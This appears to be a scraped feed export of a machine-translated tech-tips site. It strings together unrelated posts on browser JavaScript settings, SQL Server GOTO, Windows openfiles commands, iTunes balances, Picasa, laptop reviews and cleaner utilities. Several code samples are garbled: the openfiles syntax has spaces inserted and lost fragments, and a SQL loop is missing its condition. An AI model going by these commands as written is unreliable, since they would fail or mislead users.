toggle . If javascript is disabled, it activates when you click toggle.\nJavaScript in Chrome Here are the steps to enable or disable JavaScript in Chrome:\nClick on the menu at the top right of the browser .\nSelect Settings .\nClick on Show advanced settings at the bottom of the page.\nUnder the Privacy area, click the Content settings button.\nIn the \"JavaScript\" area, select \"Do not allow any site to run JavaScript\" or \"Allow all sites to run JavaScript (recommended)\".\nJavaScript in Opera Here are the steps to enable or disable JavaScript in Opera:\nFrom the menu, select Tools -\u0026gt; Preferences .\nSelect the Advanced option from the dialog box.\nSelect Content from the listed items.\nSelect Enable JavaScript checkbox.\nFinally click Ok and exit.\nTo disable JavaScript in Opera, you should not select Enable JavaScript checkbox .\nWarning about Non-JavaScript browsers If you have to do something important using JavaScript, then you can display a warning message to users by using tags\n You can add a noscript block directly after the script block as follows:     Bây giờ, nếu trình duyệt của người dùng không hỗ trợ JavaScript hoặc JavaScript không được kích hoạt, thì thông báo từ sẽ được hiển thị trên màn hình.\nTheo tutorialspoint\nBài trước:\u0026nbsp;Cú pháp của JavaScript\nBài tiếp:\u0026nbsp;Vị trí JavaScript trong HTML File\nncG1vNJzZmismaXArq3KnmWcp51ksq%2BtwaWcZqKRq660r9Gip61lmaN6o77OsKqeqqM%3D\n","link":"/post/enable-javascript-in-browsers/","section":"post","tags":null,"title":"Enable JavaScript in browsers"},{"body":"The GOTO command is a simple jump command, which allows an unconditional jump program from GOTO to a location in the program that has a label (laber) command in the same function. This article will detail how to use this command in SQL Server.\nSyntax The GOTO statement in SQL Server consists of two parts: Commands and labels. We use the following syntax:\nThe GOTO command includes the GOTO keyword enclosed with the label name label_name\n GOTO label_name;  The label section includes the label name label_name and the statement to execute next.\n label_name: {. next execution statement .}  Note:\nlabel_name must be unique within the function scope. There must be at least one command to execute after declaring the label. For example DECLARE @Number INT = 1 ; DECLARE @Total INT = 0 ; WHILE @Number BEGIN  IF @NUMBER = 5  GOTO quantrimang;  ELSE  SET @Total = @Total + @Number;  SET @Number = @Number + 1 ; END; \nquantrimang  PRINT @Total; GO  In the example using this GOTO statement, we created a label named quantrimang, when the @NUMBER variable reached value 5, the program allowed to jump to the position of the quantrimang label in the function and execute the statement following it. .\nSee more:\nIF commands . ELSE in SQL Server. WHILE loop in SQL Server. BREAK (Control Interrupt) command in SQL Server. Previous lesson: CONTINUE command in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ktLDAzmaaqKWdlrulecinZKypnGLApr7Vnqk%3D\n","link":"/post/goto-command-in-sql-server/","section":"post","tags":null,"title":"GOTO command in SQL Server"},{"body":"Halloween costume festival is becoming increasingly attractive to young people all over the world. There are many trends favored by young people on this day such as Halloween face painting, preparing unique outfits, going to the street to have fun, . and most people are looking for their own wallpapers. Halloween to decorate your smartphone more impressive.\nIf you also want to collect the latest Halloween wallpaper for your phone, the photos below will be a great suggestion. The photos with the fanciful space, bold colors of the Halloween holiday that we collect from many different sources will definitely help you choose a Halloween wallpaper for the most beautiful smartphone.\nShare sets of wallpapers for phones in Text \u0026amp; Quotes style Cuong Tieu Ngu wallpaper for the phone Unique calligraphy wallpaper set for phones Halloween wallpapers for the most beautiful phones                                 Above is the best Halloween wallpaper for your phone, let's mix the atmosphere of the Halloween festival by decorating your device screen so creepy, horror but equally fun and funny. The network administrator wishes you the best choice for your mobile phone in Halooween holiday!\nSee more:\nInvite to download 200 Full HD themes wallpapers for your computer Invite to download wallpapers 4K style beautiful Surface Recruiting beautiful dark colored wallpapers for computers ncG1vNJzZmismaXArq3KnmWcp51ktaK4y6iunp2eYsSiuMupmKmdoqh6p7vRZqehp56awA%3D%3D\n","link":"/post/halloween-wallpapers-for-phones/","section":"post","tags":null,"title":"Halloween wallpapers for phones"},{"body":" You look at an iTunes gift card you found buried in your room, thinking of all the songs you can buy. But have you used it already? Technically, iTunes cards don't have a balance for you to check. Once the card is redeemed, its entire...\nMethod 2of 2:\nChecking Your iTunes Account Balance  Open the iTunes application. On any device, find the iTunes application. You may also find out your balance by opening iBooks or the App Store and following the same steps.[3]\n  Navigate to the iTunes store. On computers, look along the top of the screen. You'll see the word 'Store.' For example, when you are looking at your music library, the headings under the playback bar and navigation bar at the top of the screen will start with 'Library' and end with 'Store.' Click the \"Store\" button. The \"Store\" button can be found the same way in any part of your library. No matter if you're looking at your music, videos, podcasts, or other media, it will be in the same location. Another way to quickly get to your account balance is to click the 'Account' button on the navigation bar at the top of the screen. Click 'View My Account' on the drop-down menu.   Locate your account balance. On iPhone, iPad, and iPod devices, scroll to the bottom of the screen. On a computer, the account balance will be in the upper-right corner of the screen.[4] On a mobile device, if you don't see your user ID, tap the \"Featured\" button at the bottom of the screen, then scroll down.   Sign into your account. If you are not already signed in, tap the sign in tab at the bottom of the screen. On a computer, click the 'Account' button at the top of the screen, then click 'Sign In' on the drop down menu. Enter your Apple ID and password or create an account.\n  Look at the account balance. Once you sign in, the sign in tab on mobile will display your Apple ID. Under it, you'll see a number such as '$25.00 credit.' On a computer, this will be in the upper-right corner of the store. If you know how much money is supposed to be in your account, you may be able to figure out whether or not you've redeemed the gift card.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGaakaGur6%2FEZqanZZGjeqrA1KecrGWXnrO1ecKaqZ0%3D\n","link":"/post/how-to-check-the-balance-on-an-itunes-gift-card/","section":"post","tags":null,"title":"How to Check the Balance on an iTunes Gift Card"},{"body":"On the iPhone / iPad there is the Siri Application Suggestions section with the most recently opened applications. However, many people want to pin frequently used applications at Siri Suggestions (Siri Suggestions) utility to access, reduce search time from the main screen, if the device installs many applications. If so, we can install AppsSiriPin tweaks with jailbroken iOS 11 devices. The following article will guide you how to install AppsSiriPin tweak on iOS device.\nHow to turn off Siri on iPhone, iPad How to use Siri Shortcuts to manipulate quickly and smartly on iPhone How to block Siri from showing app suggestions on iPhone Instructions for pinning applications to Siri Suggestions Step 1:\nWe look for AppsSiriPin tweaks from the Julio Verne archive in Cydia. Direct access to the link below to install tweaks.\nhttps://julioverne.github.io/description.html?id=com.julioverne.appssiripin Step 2:\nAfter installing, adjust the user to access the Settings section and then click to adjust to proceed with the reset. In the setup interface, there are only two options, Enabled, to enable or disable operation tweaks on the device. Pined Apps to choose the applications you want to include in the Siri Suggestion utility. Push the circle button to the right to activate the application.\nThe Reset Settings section will return the interface of the utility. Propose Siri to the initial state, but need to respring the device again.\n   The end result of the applications that the user activates will always show first for Siri's application suggestion list.\n  As such, the applications you regularly use will be prioritized to display at the application suggestion of Siri. We can choose the applications of the system, or the applications installed depending on the needs of use.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3q1tMRmmKmoXam8bsDHnmSsoaKeeqq8x6ilnmWjqrSosdKtZK6smaG2tcU%3D\n","link":"/post/how-to-pin-the-app-to-the-siri-iphone-suggest-utility/","section":"post","tags":null,"title":"How to pin the app to the Siri iPhone Suggest utility"},{"body":" jelly jelly flan | TipsMake.com    there is no need for too many ingredients or oven, just 30 minutes you have immediately delicious, cool moon cakes and especially suitable for those who are afraid of fat.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mihnqScrnqrsculsGaenJa7b7TTpqM%3D\n","link":"/post/jelly-jelly-flan-tipsmake-com/","section":"post","tags":null,"title":"jelly jelly flan | TipsMake.com"},{"body":"The HP G60-519WM laptop running Windows 7 is officially sold at Wall-Mart retail stores for $ 298.\nHP G60-519WM has 15.6-inch screen, resolution of 1366 x 768 pixels, equipped with Intel Celeron 900 2.2 GHz CPU chip, 3 GB RAM, 250 GB HDD and uses integrated Intel GMA 4500M graphics capacity 1,309 MB shared from RAM. It has 3 USB ports, VGA output port, LAN connection, Wi-Fi 802.11 b / g.\n  HP G60-519WM costs 298 USD, runs Windows 7 Home Premium.\n(Photo: Notebookcheck)\nAccording to Notebookcheck , Walk-Mart will sell HP G60-519WM for $ 298, about VND 5.5 million, with Windows 7 Home Premium operating system pre-installed on the device. While the retail price of Windows 7 Home Premium version in Vietnam is VND 2.6 million.\nncG1vNJzZmismaXArq3KnmWcp51kuaK806inZqqlo7uqusZmrqKmlKTEtHmWZpqoq6SoenR8j2asrJw%3D\n","link":"/post/laptop-running-windows-7-costs-300-usd/","section":"post","tags":null,"title":"Laptop running Windows 7 costs 300 USD"},{"body":"Among them, the most notable is the introduction of a new taskbar that is optimized for the interface on tablets as well as 2-in-1 devices (can work in both laptop and desktop modes). tablets).\nTaskbar optimized for tablets 'We are introducing a new taskbar status setting option, specifically designed to help users feel more confident and comfortable when handling and using their device like a tablet. ', Microsoft said in a blog post for the Windows Insiders community.\nWith the new taskbar mode, you get a collapsed and expanded view. In collapsed mode, the taskbar automatically slides out (disappears) off the screen when not in use, giving you space to interact with your touchscreen. Conversely, when expanded, you will have a larger taskbar with buttons optimized for tapping, swiping, instead of clicking as usual. To switch between these 2 modes, simply swipe up from the bottom of your device's screen.\n  If you are using a 2-in-1 device (required to use the new taskbar for the tablet interface), the taskbar will automatically switch to tablet mode when you disconnect or fold the keyboard.\nRegarding the availability of the new feature, Microsoft said: 'We are beginning to roll out this feature to the test user community. All feedback will be carefully considered to provide the best experience before releasing the new feature to the public'.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYra0ec6pq6Klma%2B2r7OMrZ%2BeZaeeu6W71qxkamldqa60t8GaqWahnqmys7LAnJxmnp%2BnerWtwaWcras%3D\n","link":"/post/microsoft-is-optimizing-the-windows-11-taskbar-interface-for-tablets/","section":"post","tags":null,"title":"Microsoft is optimizing the Windows 11 Taskbar interface for tablets"},{"body":"Allows administrators to query, display, or disconnect files and folders that have been opened on the system.In addition, this command can also license or disable the Maintain Objects List system.\nThis article includes information about the following commands:\nOpenfiles commands in Windows openfiles / disconnect openfiles / query openfiles / local openfiles / disconnect Allows administrators to disconnect opened files and folders remotely via a shared folder.\nSyntax command openfiles / disconnect\n openfiles / disconnect [/ s [/ u [] [/ p []]]] {[/ id] | [/ a] | read / write}]} [/ op]  The openfiles / disconnect command parameter\nParameters\nDescribe\n/S\nSpecify the remote system to connect to (by name or IP address).Do not use backslashes.If you do not use the / s option, the command will be executed on the local computer by default.This parameter applies to all files and folders specified in the command.\n/ u []\nExecute the command using the rights of the specified user account.If you do not use the / u option, the system permissions will be used by default.\n/ p []\nSpecify the password of the user account specified in the option / u.If you do not use the / p option, the password prompt will appear when the command is executed.\n/ id\nDisconnect open files according to the specified file ID.Wildcard (*) can be used with this parameter.\nNote: You can use the openfiles / query command to find the file ID.\n/ a\nDisconnect all open files associated with the user name specified in the AccessedBy parameter.Wildcard (*) can be used with this parameter.\nread / write}\nDisconnect all open files with the specified open mode value.Valid values ​​are Read, Write or Read / Write.Wildcard (*) can be used with this parameter.\n/ op\nDisconnect all open file connections, which are created by a specific open file name.Wildcard (*) can be used with this parameter.\n/?\nShow help at the command prompt.\nFor example, openfiles / disconnect command\nTo disconnect all open files with the file ID of 26843578, enter:\n openfiles / disconnect / id 26843578  To disconnect all open files and folders accessed by \"hiropln\" users, enter:\n openfiles / disconnect / a hiropln  To disconnect all open files and folders with read or write mode, enter:\n openfiles / disconnect / o read / write  To disconnect the folder with the name Open File as \"C: TestShare\", regardless of who is accessing this file, type:\n openfiles / disconnect / a * / op \"c: testshare\"  To disconnect all open files on the remote computer named \"srvmain\" being accessed by \"hiropln\" users, regardless of their ID, enter:\n openfiles / disconnect / s srvmain / u maindomhiropln / id *  openfiles / query Query and display all open files.\nSyntax command openfiles / query\n CSV}] [/ nh] [/ v]  The command openfiles / query command\nParameters\nDescribe\n/S\nSpecify the remote system to connect to (by name or IP address).Do not use backslashes.If you do not use the / s option, the command will be executed on the local computer by default.This parameter applies to all files and folders specified in the command.\n/ u []\nExecute the command using the rights of the specified user account.If you do not use the / u option, system permissions are used by default.\n/ p []\nSpecify the password of the user account specified in the option / u.If you do not use the / p option, the password prompt will appear when the command is executed.\nCSV}]\nDisplay the output in the specified format.Valid values ​​for the format are:\nTABLE: Displays output in a table.\nLIST: Display output results in a list.\nCSV: Display output results in value format separated by commas.\n/ nh\nRemove column headers in the output.Valid only when the / fo parameter is set to TABLE or CSV .\n/ v\nSpecify that detailed information is displayed in the output.\n/?\nShow help at the command prompt.\nExample command openfiles / query\nTo query and display all open files, enter:\n openfiles / query  To query and display all open files in a tabular format without a title, enter:\n openfiles / query / fo table / nh  To query and display all open files in the list format with details, enter:\n openfiles / query / fo list / v  To query and display all open files on the remote system named \"srvmain\" using credentials for \"hiropln\" users on the \"maindom\" domain, enter:\n openfiles / query / s srvmain / u maindomhiropln / pp @ ssW23  Attention:\nIn this example, the password is provided on the command line.To turn off the password display, exit the / p option .You will be prompted to enter the password, the password will not be displayed on the screen.\nopenfiles / local Turn on or turn off the Maintain Objects List system.If used without parameters, openfiles / local will display the current status of the Maintain Objects List\nSyntax of openfiles / local command\n openfiles / local [on | off]  The parameter openfiles / local command\nParameters\nDescribe\n[on |off]\nAllow or disable the system Maintain the object List the global flag, monitor local processing files.\n/?\nShow help at the command prompt.\nNote the command openfiles / local\nEnabling Maintain Objects List can slow down your system. Changes are made using the on or off option that has no effect until you restart the system. For example, openfiles / local command\nTo check the current status of the Maintain Objects List, type:\n openfiles / local  By default, Maintain Objects List will be off and the following output will be displayed:\n INFO: The global system flag 'maintain objects list' is currently disabled.  To enable Maintain Objects List, enter:\n openfiles / local on  The following message will be displayed when the Maintain Objects List is turned on:\nSUCCESS: The global system flag 'maintain list objects' is enabled. Đây sẽ được thực hiện sau khi hệ thống được khởi động.  To turn off Maintain Objects List, enter:\n openfiles / local off  see more\nThe net print command in Windows Netcfg command in Windows Nbtstat command in Windows Bitsadmin create command in Windows ncG1vNJzZmismaXArq3KnmWcp51kvLGxzZ%2BgpZ2jYrCwucyapZ2rXZ67bsPIp5uor6M%3D\n","link":"/post/openfiles-commands-in-windows/","section":"post","tags":null,"title":"Openfiles commands in Windows"},{"body":"After successfully testing the feature of recognizing and arranging face images for Picasa Web Albums service, Google recently added this unique feature to the latest version of Picasa 3.5 . Picasa 3.5 will scan all the photos in your collection, identify each of the same faces on the photo and organize them into a group (tag), and support photo tagging very easily for your convenience. photo management. Besides, some other features of Picasa 3.5 are also optimized such as: drag and drop to determine the location you want to place the photo on Google Earth satellite map on demand; import, upload and share photos with everyone; tag images in many ways. You download Picasa 3.5 here for free , with 9.23MB capacity, compatible with Windows XP / Vista / 7. Here is the suggestion to exploit the photo classification feature of Picasa 3.5 : In the first dialog box that appears when activated, Picasa offers two options for you to import photos into the program's library: Only scan My Documents , My Pictures, and the Desktop (scan and import images from the My folder only). Documents, My Pictures and Desktop), or Search my whole computer for pictures (scan and import images from every corner of the system). To save time, you should check Only scan My Documents , My Pictures, and the Desktop , because you can still select additional folders to import pictures later. Done, click the Continue button to start the scan and import process. In the next dialog box, you select the default image formats that will always be open with Picasa, then click Finish to get to the main interface of Picasa. Note : you should click on the Sign In To Web Albums row above the right corner and log in to your Picasa Web Albums service to sync data with Picasa . When projects are classified, projects ( Folders ) and other categories ( Other Stuff ), the scanning process to identify and classify images according to faces will follow.\n  Scan pictures and identify faces on photos\nTo track the progress of this process, click on the People branch. The faces found will turn in the right pane. During the program, you can still manually tag to classify which photos of the same person by clicking on the Add a name frame under the image of that person. If it is a picture of a relative or friend, when typing a keyword, the list of email addresses saved in your Gmail mailbox list will drop down, helping you quickly name the tag. If photos of actors, singers, players . when typing their name (such as Brad Pitt ), press Enter . In the dialog that opens, click the New Person button below, assign Brad Pitt a nick in the Nickname box, type Brad Pitt 's email address in the Email (s) box (if available), and then click the OK button.\n  Create a new tag\nBrad Pitt's name and thumbnail immediately will appear under the People branch. When the scanned image shows a face like Brad Pitt, the program immediately enters Brad Pitt's tag (under the People branch). Because the program's face recognition capability is only relative, so for any image that the program doesn't recognize as Brad Pitt, click on the Add a name box , type Brad Pitt and press Enter .\n  Classify actor Brad Pitt's photo based on his face\nAnother case : the Brad Pitt photo identification program, but still not sure. At that time, the orange question mark icon will appear on the right of Brad Pitt tag. You click on the tag, find any questioned image (with the orange question mark below the left corner) in the right-hand display frame. If the Brad Pitt picture is correct, you press the green tick button to confirm it, and then press the red x button to remove the tag. The Confirm all button above lets you quickly confirm that all images in question are correct. From the frame that displays the entire face on the right, just double click on the corresponding face to see the image in full size. Set of three icons  under the tag name has the following turn function: show all images in the tag; create artwork collated by all faces in the tag; Create video files with background music and beautiful transition effects from all images belonging to the tag (allows uploading videos to YouTube accounts). There are still many other exciting features of Picasa 3.5 waiting for you to explore! Note : - When the program finishes scanning the photo gallery, click on the Unnamed tag under People branch to admire all unclassified faces (tagging). - To import more photos from another folder on the hard disk into the program library, click the Import icon above, click on the box to the right of the Import from entry and select Folder , browse to the folder containing the photos and select all images you want. import. Then name the photo folder in the Folder title box, then click the Import All button below.\n  Import more photos on hard disk into Picasa 3.5 library\nncG1vNJzZmismaXArq3KnmWcp51kvaqvwKyYZmtlYq6lsIyfmJydXZi5or%2FSop2im5GptrC6jJ%2Bcmqylp7I%3D\n","link":"/post/picasa-3-5-add-face-classification-feature/","section":"post","tags":null,"title":"Picasa 3.5: Add face classification feature"},{"body":"For the body to grow, giant centipedes must also molt like some arthropods and other insects. But their actions after that process cause many people to be surprised and frightened.\n\nHybrid between giant spiders and scorpions, this furry exotic creature is the fear of many people List of the most dangerous insects in the world   Giant centipede or giant yellow centipede with a scientific name is Giant Centipede. They have a size that is far superior to other cousins ​​when they are up to 26-30cm in length.\nBut because the body is covered, protected by a solid shell, with elasticity, elasticity so that to develop and avoid being hurt they must undergo many \"painful\" molting!\nWhen new molting is completed, the body's protective shell is still soft and sensitive, so it cannot protect them from external dangers. Therefore, yellow-legged centipede often eats the old crust to compensate for some of the lost energy.\nWith such a large size, giant centipedes can hunt snakes, rats, frogs or even bats and small birds to eat meat.\nncG1vNJzZmismaXArq3KnmWcp51kwKm11Z6pnpxdrLa1tIytn55lpJq%2Fs7XFsqCnn12Xsqmt1aKmq2Wfm3q1tMRmnqKZnql6pLHNraCpnZSaeqat06KloGWknbJuucCipWallZbBbr%2FEpZ1mmZapsrN5zKijraGenA%3D%3D\n","link":"/post/shivered-with-the-terrifying-behavior-of-the-giant-centipede-eating-the-main-meat-self-after-molting/","section":"post","tags":null,"title":"Shivered with the terrifying behavior of the giant centipede, eating the main meat 'self' after molting!"},{"body":"Arrow shapes are indispensable in Power Point tutorials and presentations because they help us interpret better. In today's article, TipsMake.com send you readers beautiful arrows for you to freely create and use in presentations and instructions.\n  Please read along and download the beautiful arrows below.\n  Pictures of beautiful arrow patterns\n  Pictures of beautiful arrows\n  3D arrow image goes down\n  Arrow cross image\n  Arrow image indicates direction\n  Single arrow image\n  Arrow image heart shape\n  Arrow image circle\n  Funny arrow image\n  Beautiful love arrow image\n  Image arrow love\n  Beautiful heart arrow image\n  Heart arrow image\n  Arrow image with heart\n  Image of twisted arrows\n  Arrow image\n  Arrow circle image\n  Shaped 3D arrows\n  Cross arrow shape\n  Cross arrow shape\n  Arrow shape indicates the direction of wood\n  An arrow indicates the direction\n  An arrow indicates the direction\n  Beautiful curved arrow pattern\n  Arrow shape curved\n  Beautiful and unique arrow shape\n  Beautiful and simple arrow shape\n  Beautiful and strange arrow shape\n  Nice arrow shape\n  Unique arrow shape\n  Simple and beautiful arrow shape\n  Simple arrow shape\n  Feather arrow shape\n  Black arrow shape\n  Artistic arrows\n  Star arrow shape\n  Figure growth arrow\n  Beautiful love arrow shape\n  Beautiful heart arrow shape\n  Heart arrow shape\n  Beautiful green arrow pattern\n  Arrow shape\n  Arrow drawing\n  Beautiful arrow tattoo\n  Arrow tattoo\n  Square arrow frame\n  Arrow frame\n  Beautiful arrow pattern\n  The beautiful arrow image\n  The beautiful arrow pattern\nArrow images can be ideas for tattooing, collages or simply as wallpaper if you like them. Remember to share this article with your friends so they can refer and download photos offline!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qjscCuq6KepaF6or7RqK5mq5iWvaa%2F\n","link":"/post/summary-of-beautiful-arrow-shapes/","section":"post","tags":null,"title":"Summary of beautiful arrow shapes"},{"body":"Dell has designed a stylish laptop, optimized for those on the go. The new Dell Latitude 7400 2 in 1 has incredible battery life, using a powerful 8th Gen Intel processor. The laptop also offers a full range of ports and a special feature called ExpressSign-in.\nLet's give a more detailed review of this product through the following article!\nBasic specifications of the Dell Latitude 7400 Screen : 14-inch (1080p) touch Processor : Intel 1.9GHz Core i7-8665U vPro (Whiskey Lake) Graphics : Intel UHD 620 Memory : 8GB - 16GB LPDDR3 Ports : 2 USB 3.1 Gen 2 Type-C ports (Thunderbolt 3, Power Delivery / DisplayPort); 2 USB 3.1 Gen 1 Type-A ports; HDMI 1.4; microSD; microSIM WWAN optional Camera : 720p HD Camera Battery : 52Wh, 78Wh Wireless connection : 802.11ac (2x2); Bluetooth Operating system : Windows 10 Pro Size : 32 x 20 x 1.5cm Weight : 1.5kg Optional : Fingerprint sensor inside power button, smart card reader Price : $ 2802 (VND 65,131,000) Rugged design The Dell Latitude 7400 2 in 1 is the most compact 14-inch laptop in the world. The optional 78Wh battery allows you not to carry a charger.\nThe Dell Latitude 7400 has a stylish silver aluminum exterior. The sides are only 0.4mm thick, with wider space (0.6mm) arranged for the top bezel to accommodate the webcam.\nDell equips the Latitude 7400 with a 1080p screen, protected by Gorilla Glass 5. Latitude displays have extremely low power consumption and limited light output. The Latitude 7400's color accuracy is comparable to the Microsoft Surface Book 2.\nSalient features Power Manager utility Dell provides the Power Manager utility for the Latitude 7400, with Optimized, Cool, Quiet and Ultra Performance installation options . Activating Performance Mode raises the clock speed and runs the fan more frequently, but the noise generated by the fan is not very annoying.\nConvenient ExpressSign-in feature Dell introduces the Latitude 7400 2 in 1 as a PC that senses the user's presence, with a technology called ExpressSign-in. If configured with Windows Hello, ExpressSign-in automatically locks your PC when you go out. It will also detect when you are near, then use Windows Hello to log in.\nExpressSign-in automatically shuts down a PC within 3 minutes if it cannot detect anyone in range. If someone stumbles across, activates the sensor before the device automatically locks, the PC will be unlocked and working again. Therefore, manual PC lock will be more effective.\nHigh performance Dell has equipped Intel's Latitude 7400 CPU Whiskey Lake Core i7-8665U 8th generation. This CPU supports Intel vPro technology, enabling management solutions that minimize malware threat at the processor level.\nThe Latitude 7400 works similarly to other Core i7 laptops. Dell scored 5,341 points in the single-core test and 16,585 in the multi-core test, slightly faster than the Specter x360 and ZenBook 14, but slower than the Lenovo ThinkPad X390.\nThe Latitude 7400 completed the 420MB video encoding in H.265 in 258 seconds, beating the Specter x360 13, but still inferior to the ZenBook 14. In our testing, the battery lasted nearly 22 hours.\nThe Latitude 7400's Toshiba SSD achieved 802MB / s in the CrystalDiskMark 6 read speed test and 399MB / s in the write speed test. Overall, you won't be disappointed with the performance of the Latitude 7400.\nIn addition, the machine has good heat treatment capacity and the fan operates quite smoothly.\nGraphics Integrated Intel UHD 620 graphics card does not provide much GPU performance.\nIn the 3DMark Fire Strike synthetic benchmark test, the Latitude 7400 is slightly inferior to comparable laptops, only reaching 1117 points. Overall, this laptop is not suitable for gaming.\nConclude The new Dell Latitude 7400 2 in 1 is the best business laptop to buy, if you can afford it.\nAdvantages\nGood battery life Rugged design Excellent performance ExpressSign-in works well Great keyboard and touchpad Defect\nPrice is too high There is no discrete graphics card option ncG1vNJzZmismaXArq3KnmWcp51ksaa4y2ajmqyZqcKlsYxwa2loXaeyt7XEsGStoJVivaa%2BxZ6arWWTpLqjtc2aq6KnnmK8p3nPnqmfp6Kirq%2BvxGaYp5xdl661wMSrsGakmZuy\n","link":"/post/the-perfect-combination-of-performance-and-battery-life/","section":"post","tags":null,"title":"The perfect combination of performance and battery life"},{"body":"How to automatically clear your browsing history when exiting the Edge browser Windows 10  to increase security after surfing the web on microsoft edge browser, we should delete the entire history. and on windows 10, we can set up the feature to automatically clear history when exiting the browser.\n What is Icon Font and how to create Icon Font  you've certainly heard about icons and fonts, so what is font icon? today, we will introduce readers to icon font definition, why it became so popular and how to use it to make your website more vivid. let's get it started.\n Mozilla launched Firefox Focus for Android, integrating ad blocking  the browser is small, simple to design, anonymously browse the web all the time, integrating an ad blocking tool.\n How to use Firefox Focus: Private Browser  firefox focus: private browser is a web browser from mozilla, with the ability to block unwanted content, block ads and protect users from personal information search engines on web browsers.\n  How to distinguish real and fake gadgets in the browser  with the extension system on the browser (externsion) on google chrome and coc coc, users can take advantage of and exploit many other features, which the browser does not support. however, if you accidentally install a fake utility, it will cause the opposite effect, affecting the system as well as the browser. so, how to prevent fake extensions?\n 7 extensions on Firefox no browser has  the battle between browsers is still going strong. what makes a browser better than other browsers? speed? using memory or integrated features? the answer is depending on the preferences of individual users, and browser extensions make up the majority of those interests. in this article, we will introduce you to 7 power utilities in firefox that other browsers do not have.\n How to make the browser always start in incognito mode  incognito mode when browsing the web on chrome, firefox, internet explorer browsers will not save browsing history, ensuring privacy for users.\n Instructions to disable location sharing on web browsers  although there is no denying the benefit of sharing location on web browsers, if you are concerned about your security, you may want to disable this feature. in this article, we will show you how to turn off this feature on the three most popular browsers, namely chrome, firefox and microsoft edge.\n Sync bookmarks, extensions and other browser data between computers  today, the level of interaction with computers is increasingly dependent on the web browser. therefore, it is very handy if your browser history and settings follow your footing when using another computer. your favorite browser makers know this and most of them have built-in tools that make your web experience more convenient.\n The best Portable PC applications of all time (Part 4)  portable application is a shortened version of the software, can run without installation on the server and does not change computer configuration information. in other words, you can run it, use it and no one will know you used it.\n How to use Microsoft Edge in Windows 10 to share web content  tired of copying and pasting a website url into status to share your favorite content on twitter and facebook? don't worry, microsoft edge has come up with a way to help you solve that. in this tutorial, we will show you how to share web content using the edge browser.\n How to reset Edge browser quickly in Windows 10  now, resetting edge in windows 10 fall creators update has become much easier. follow the article below to know how to reset edge!\n How to download videos on Web browser with Video Download Helper  video downloadhelper is a facebook, dailymotion, twitter, ... video download utility and is preinstalled on chrome and firefox browsers.\n To speed up Chrome browser, apply these tricks  like other browsers, after a long time of use, the chrome browser will become more and more slow because there must be everything, utilities, plugins, even viruses .... with the speed of day such a slowdown, during use sometimes makes users feel uncomfortable and frustrating.\n How to remove safebrowsing.biz virus on Chrome, Firefox  safebrowsing.biz is a virus that attacks the chrome or firefox web browser when we surf the web and create ads with objectionable content, annoying users.\n Increase the space on your browser's bookmark bar by saving only the website icon  the trick that network administrator tells you below will help increase the bookmark bar space, save more web pages on browsers to get quick access to them. that is to create a website icon on the bookmark bar.\n You should know that there are 10 hidden pages in the Google Chrome browser, so what effect do they have?  but besides, there are many features hidden within this browser that we still don't know. in the article below, let's join tipsmake.com to discover about 10 hidden pages right inside chrome.\n Summary of shortcuts on Chrome browser for Windows computer users  google chrome is still the preferred browser of many users on computers as well as smartphones, but not everyone knows how to use shortcuts, please refer to the article to use chrome effectively. and more speed.\n Delete Google Chrome browsing history on Windows and Mac  if you use the google chrome browser, there have been times when you have learned how to clear your browsing history. in this article, the network administrator will show you how to do this. clearing your browser history is a good thing for privacy.\n Instructions to turn off the proposal to save passwords on the Web browser  when you visit the website on any browser such as chrome, firefox, ... will appear that you want to save the account including the password on this site. so what if i want to turn off the message suggesting to save passwords on browsers?\n How to turn off auto-reloading tabs on Google Chrome  there is an auto-reload feature on google chrome after a period of no access. but with weak network connections, it is not necessary to reload this tab.\n What's remarkable about Microsoft Edge in Windows 10 Creators Update?  along with upgrading to windows 10 creators update, microsoft edge browser is also focused by microsoft when updating many new features.\n How to add Google Drive search to Google Chrome browser  when users add google drive search in the address bar of chrome browser, finding data on google drive will be simpler and faster.\n Is Microsoft Edge really safer than Chrome or Firefox?  edge is the exclusive browser on windows 10, which is said to have better security than chrome and firefox. why does microsoft confirm this and is it true?\n How to secure bookmarks on Google Chrome browser?  usually when you bookmark web pages on chrome, the bookmarks bar will appear just below the browser's access bar. however, what if we want to hide those bookmarks on chrome?\n How to turn the website into an application on Linux?  how to use google chrome and epiphany browser to create web applications from the app launcher in front and the computer screen center.\n How to use the new Opera Neon web browser  opera software has launched a completely new opera neon web browser, with features that are completely different from those used by chrome and firefox users.\nncG1vNJzZmismaXArq3KnmWcp51kvW59lWtn\n","link":"/post/tips-make-how-to-make-technology-computer-windows-science/","section":"post","tags":null,"title":"Tips Make | How to make | Technology | Computer | Windows | Science"},{"body":"TipsMake.com - For a long time, Microsoft has built-in Disk Cleanup utility into Windows so that users can easily clean their system from excess files during use. Anyway, this function is still not as effective as other supporting application software . In the following article, we will introduce some such utilities, with the specific characteristics of each software.\n1. CCleaner: This is probably the most familiar name for all users, because this application is quite simple, neat, many basic functions as well as advanced. And to learn more thoroughly, let's discuss CCleaner 's advantages and disadvantages together.\nAdvantages:\nIn terms of the current situation, it is difficult to find which support software is more popular and easier to use than CCleaner . The program is extremely simple, many utilities, far superior to other common system cleaning utilities, and comes with a completely free version, the ability to quickly find and fix Registry errors. manage Windows' Start - up and System Restore processes . In addition, the program has more support from other software, typically CCEnhancer - adding more than 270 applications to the list. books, support HTML5 , enhance monitoring performance of browsers such as Firefox, Chrome, Safari, Opera and Internet Explorer 9 , improve the ability to detect errors with ActiveX and Class .\nDefect:\nHowever, just like the inevitable rule of the software, besides the advantages, some weaknesses of CCleaner have existed. Most notably, the application does not completely remove the junk file from some basic system folders, for example:\nC: UsersusernameAppDataLocalTemp C: WindowsPrefetch\n  Prefetch is a subdirectory located inside Windows, which contains all the information related to the boot process of the computer, supporting applications to open documents, text files . Actually In fact, Microsoft does not 'encourage' users to clean this directory, but many system administrators still do it, because in practice, this is still effective when speeding up the system, reducing the impact. to many other applications. But if you want, you can refer and use some other support utilities like Glary Utilities.\n2. Slim Cleaner: The next component mentioned in this article is Slim Cleaner - which can be quite strange for some people but this software is worth using because there are some other support components that you can hardly find. at the current popular programs.\nAdvantages:\nThis application can completely 